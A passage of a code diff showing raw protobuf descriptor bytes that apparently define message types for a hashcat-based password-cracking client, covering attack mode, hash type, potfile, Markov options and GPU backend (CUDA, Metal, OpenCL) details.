+ 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73,
+ 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63,
+ 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73,
+ 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73,
+ 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
+ 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12,
+ 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20,
+ 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
+ 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63,
+ 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e,
+ 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18,
+ 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f,
+ 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18,
+ 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66,
+ 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e,
+ 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e,
+ 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a,
+ 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79,
+ 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b,
+ 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a,
+ 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f,
+ 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44,
+ 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07,
+ 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56,
+ 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73,
+ 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63,
+ 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18,
+ 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b,
+ 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e,
+ 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20,
+ 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
+ 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65,
+ 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65,
+ 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65,
+ 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12,
+ 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
+ 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a,
+ 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05,
+ 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05,
+ 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f,
+ 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61,
+ 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54,
+ 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72,
+ 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79,
+ 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65,
+ 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65,
+ 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70,
+ 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f,
+ 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44,
+ 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a,
+ 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66,
+ 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49,
+ 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49,
+ 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a,
+ 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07,
+ 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65,
+ 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f,
+ 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b,
+ 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a,
+ 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12,
+ 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12,
+ 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18,
+ 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73,
+ 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d,
+ 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f,
+ 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d,
+ 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12,
+ 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73,
+ 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12,
+ 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52,
+ 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a,
+ 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a,
+ 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07,
+ 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f,
+ 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65,
+ 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72,
+ 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12,
+ 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65,
+ 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b,
+ 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75,
+ 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12,
+ 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12,
+ 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c,
+ 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65,
+ 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75,
+ 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74,
+ 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12,
+ 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62,
+ 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e,
+ 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65,
+ 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a,
0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65,
- 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d,
- 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20,
- 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61,
- 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61,
- 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f,
- 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b,
- 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24,
- 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18,
- 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76,
- 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68,
- 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d,
- 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18,
- 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52,
- 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73,
- 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20,
- 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e,
- 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a,
- 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73,
- 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46,
- 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f,
- 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c,
- 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75,
- 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74,
- 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75,
- 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61,
- 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69,
- 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65,
- 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b,
- 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74,
- 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36,
- 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65,
- 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16,
- 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44,
- 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61,
- 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72,
- 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22,
- 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04,
- 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77,
- 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04,
- 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65,
- 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65,
- 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08,
- 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f,
- 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52,
- 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f,
- 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62,
- 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20,
- 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c,
- 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01,
- 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72,
